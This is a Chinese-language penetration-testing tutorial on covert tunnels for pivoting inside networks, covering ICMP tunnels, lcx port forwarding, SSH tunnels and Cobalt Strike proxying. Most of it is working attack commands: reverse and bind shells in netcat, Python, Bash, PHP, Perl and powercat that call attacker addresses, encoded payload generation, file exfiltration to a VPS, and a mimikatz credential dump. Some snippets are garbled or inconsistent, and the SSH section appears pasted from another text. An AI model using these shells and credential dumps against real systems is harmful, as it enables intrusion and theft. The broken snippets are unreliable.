内网渗透|隐藏隧道通信技术

隐藏隧道基础知识 概述 网络在通信前会在两台机器建立TCP连接,然后进行通信。
隧道是绕过端口屏蔽的通信方式,防火墙两端的数据包通过防火墙所允许的数据包类型或者进行封装 ,然后穿过防火墙,与对方通信。
隧道列举:
网络层:IPV6隧道,ICMP隧道,GRE隧道;
传输层:TCP隧道,UDP隧道,常规端口转发。
应用层:SSH隧道,HTTP隧道,HTTS隧道,DNS 隧道
判断内网连通性:
判断协议:tcp,http,dns,icmp等;
允许流量出口的端口:80 ,8080,443,53,110,123等
1.ICMP协议:
ping 《ip或者域名》
内网渗透|隐藏隧道通信技术
文章图片

2.TCP协议
nc工具;

nc -zv 192.168.102.21 135

内网渗透|隐藏隧道通信技术
文章图片

3.HTTP协议
curl :curl www.baidu.com 80

内网渗透|隐藏隧道通信技术
文章图片

3.DNS协议
nslookup:(windows)
内网渗透|隐藏隧道通信技术
文章图片

网络层隧道技术(常用隧道协议:IPV6和ICMP ) Ipv6隧道技术简介:
是通过IPv4隧道 IPv6数据报文的技术,把IPv6报文整体封装在IPv4数据报文中。
执行隧道功能的节点的IPv6地址如果兼容IPv地址时,自动隧道是可行的 。如果给执行隧道功能的节点分配地址采用的时自动隧道方法就不用进行配置;
配置隧道方法要求隧道末端节点 使用其他机制来获得IPv4地址:DHCP,人工配置;
支持IPv6的隧道工具有socat 6tunnel,n6tunnel等。
ICMP隧道:
一般两台机器通信开放端口,但是ICMP不需要,最常见的就是ping命令:如果攻击上层隧道(HTTP,DNS,正反代理转发)都不行,那么就可以通过 ping命令访问远程机器,建立ICMP隧道,将TCP/UDP封装进ICMP的ping命令中,从而穿过防火墙(防火墙不会屏蔽ping命令) 。
常用的ICMP工具:icmpsh,pingtunnel ,icmptunnel ,powershell icmp
icmpsh:
安装python-impacket库:
sudo apt-get install python-impacketsudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 ./run.sh

输入之后在提示框输入目标IP地址
在目标机输入:
icmp.exe -t 192.168.1.7 -d 500 -b 30 -s 128

即可上线;
内网渗透|隐藏隧道通信技术
文章图片

【内网渗透|隐藏隧道通信技术】2.Ping Tunnel
防御ICMP隧道攻击的方法:
  • 检测同一来源的ICMP数据包;
  • 注意payload大于64bit的ICMP数据包。
  • 寻找请求包payload与相应数据payload不一致的ICMP数据包。
  • 检查ICMP数据包的协议标签:icmp会在所有的ICMPpayload 前面加“TUNL”标记标识隧道;
传输层传输技术:
常用技术有TCP,UDP ,常规端口转发等;
如果防火墙阻止了对指定端口的访问,获得目标机的权限可以用IPTABLES打开指定端口
lcx:
内网端口转发:
把靶机的3389端口转发到444端口;
靶机:lcx.exe -slave <公网IP> 444 127.0.0.1 3389

将本机的444端口监听的所有数据转到555端口;
vps: lcx.exe -listen 444 555

本地端口转发:
lcx -tran <目标主机的Ip> 3389;

netcat:
cd netcat-0.7.1/ chmod +x configure ./configure make

nc没有-e选项解决方案:
原来安装的默认是openbsd的,而openbsd是没有-e选项的,需要变更为traditional版才有,
变更方法如下:
输入
sudo update-alternatives --config nc
此时会显示netcat的各个版本,输入2选择traditional
apt install netcat-traditional sudo update-alternatives --config nc 2

内网渗透|隐藏隧道通信技术
文章图片

banner 抓取:
提供当前网络中系统信息和 运行服务的信息
nc -nv 127.0.0.1. 80

连接远程主机:
nc -nvv 187.65.1.207 445

端口扫描:
nc -v 127.0.0.1 80nc -v -z127.0.0.1 1-1024

内网渗透|隐藏隧道通信技术
文章图片

端口监听:
当访问该端口时会将信息输出到命令行:
nc -l -p 9999

内网渗透|隐藏隧道通信技术
文章图片

文件传输:
VPS输入:nc -lp 9999 >2.txt 目标主机输入:nc -vn 127.0.0.1 9999 < /root/netcat-0.7.1/install-sh -q 1

内网渗透|隐藏隧道通信技术
文章图片

简易聊天:
vps:nc -l -p 9999 目标主机: nc -vn 127.0.0.1 999

内网渗透|隐藏隧道通信技术
文章图片

获取 shell:
正向shell:客户端获取服务器的shell;
反向shell:服务器获取客户端的shell;通常用在开启防御措施的目标机器,例如防火墙过滤,端口转发;
(1)正向shell:
靶机:nc 108.61.183.100 4444

内网渗透|隐藏隧道通信技术
文章图片

vps: nc -lvp 4444 -e /bin/sh nc -lvp 4444 -e c:\windows\system32\cmd.exe

内网渗透|隐藏隧道通信技术
文章图片

(2)反向shell:
本机或者VPS主机:nc _lvp 9999

内网渗透|隐藏隧道通信技术
文章图片

目标机: nc -lvp 4444 -e /bin/sh nc -lvp 4444 -e c:\windows\system32\cmd.exe

在目标主机没有nc时获取反向shell,通过常见的编程语言代替nc:
python:
目标机(ubuntu):python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.102.77",2222)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]); '

内网渗透|隐藏隧道通信技术
文章图片

攻击机监听:
nc -lvp 2222

内网渗透|隐藏隧道通信技术
文章图片

Bash反向shell:
bash -i >& /dev/tcp/ip/port 0>&1

PHP反向shell:
php -r '$sock=fsockopen("192.168.102.67",2222); exec("/bin/bash -i 0>&3 1>&3 2>&3"); '

perl反向shell:
perl -e ‘ use Socket ; $i="192.168.102.67"; $p=4444; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(conect(s,socketaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i"); }; ’

内网代理:
vps(192.168.102.109)→linux→web服务器(192.168.102.67 3333,不出网)
vps:nc -lvp 3333linux: nc -lvp 3333 -e/bin/shweb: nc -v 192.168.102.109 3333 -c “nc -v 192.168.102.67 3333”

powercat:
Import-Module .\powercat.ps1 set-executionpolicy remotesigned(权限不够时输入)

通过nc正向连接powercat:
客户机:powercat -l -p 8080 -e cmd.exe -vkali:netcat 192.168.102.232 8080-vv chcp 65001 powershell "./mimikatz.exe 'sekurlsa::logonPasswords full' > C:\Users\wxl\Desktop\14.txt 'exit'"

内网渗透|隐藏隧道通信技术
文章图片

用powercat正向shell连接; mimikzta获取密码是dump不出来的; 并且会弹powershell框
内网渗透|隐藏隧道通信技术
文章图片

内网渗透|隐藏隧道通信技术
文章图片

-l; 监听模式,用于入站连接;
-p指定监听端口;
-e 启动进程的名称;
-v 显示详情;
nc反向连接shell:
kali:netcat -l -p 8080-vv客户机:powercat -c 192.168.102.232 -p 8080 -e cmd.exe

通过powercat返回powershell:
win10(102.55):powershell -l -p 9999 -v

内网渗透|隐藏隧道通信技术
文章图片

win7(102.232):powercat -c 192.168.102.55 -p 9999 -v -ep

内网渗透|隐藏隧道通信技术
文章图片

powercat 传文件:
win10:powercat -l -p 9999 -of 14.txt -vwin7:powercat -c 192.168.102.55 -p 9999 -i c:\users\wxl\desktop\14.txt -v

powercat 生成payload:
win7 :powercat -l -p 9999 -e cmd -v -g >> shell.ps1 将生成的payload上传到win10,win7中执行命令: powercat -c 192.168.102.55 -p 9999 -v

内网渗透|隐藏隧道通信技术
文章图片

反弹shell;
win7 :powercat -l -p 9999 -e cmd -v -g >> shell2.ps1 powercat -c 192.168.102.55 -p 9999 -v

生成经过编码的payload:
win7 :powercat -c 192.168.102.55 -p 9999 -ep -ge powercat -l -p 9999 -v

应用层隧道技术: SSH协议:
  • 简单的ssh命令:
此外,本文只讨论SSH在Linux Shell中的用法。如果要在Windows系统中使用SSH,会用到另一种软件PuTTY,这需要另文介绍。
二、最基本的用法
SSH主要用于远程登录。假定你要以用户名user,登录远程主机host,只要一条简单命令就可以了。
$ ssh user@host

如果本地用户名与远程用户名一致,登录时可以省略用户名。
$ ssh host

SSH的默认端口是22,也就是说,你的登录请求会送进远程主机的22端口。使用p参数,可以修改这个端口。
$ ssh -p 2222 user@host

内网渗透|隐藏隧道通信技术
文章图片

创建ssh隧道参数:
-c:压缩传输,提高传输速度; -f: 将ssh传输转入后台,不占用当前的shell; -N:建立静默链接,(看不到具体会话); -g:允许远程主机连接本地用于转发的端口; -l:本地端口转发; -r:远程端口转发; -p:指定SSH端口; -D:socks代理;

内网渗透|隐藏隧道通信技术
文章图片

1.端口转发:
以Ubuntu为跳板将win7的3389端口映射到vps的1153端口上,就能通过1153访问3389了
Cobalt Strike socks4代理:
内网渗透|隐藏隧道通信技术
文章图片

内网渗透|隐藏隧道通信技术
文章图片

内网渗透|隐藏隧道通信技术
文章图片

将payload复制到msf中,此时就是全局代理:
内网渗透|隐藏隧道通信技术
文章图片

扫描端口:
内网渗透|隐藏隧道通信技术
文章图片
内网渗透|隐藏隧道通信技术
文章图片

扫描ms17-010:
内网渗透|隐藏隧道通信技术
文章图片

    推荐阅读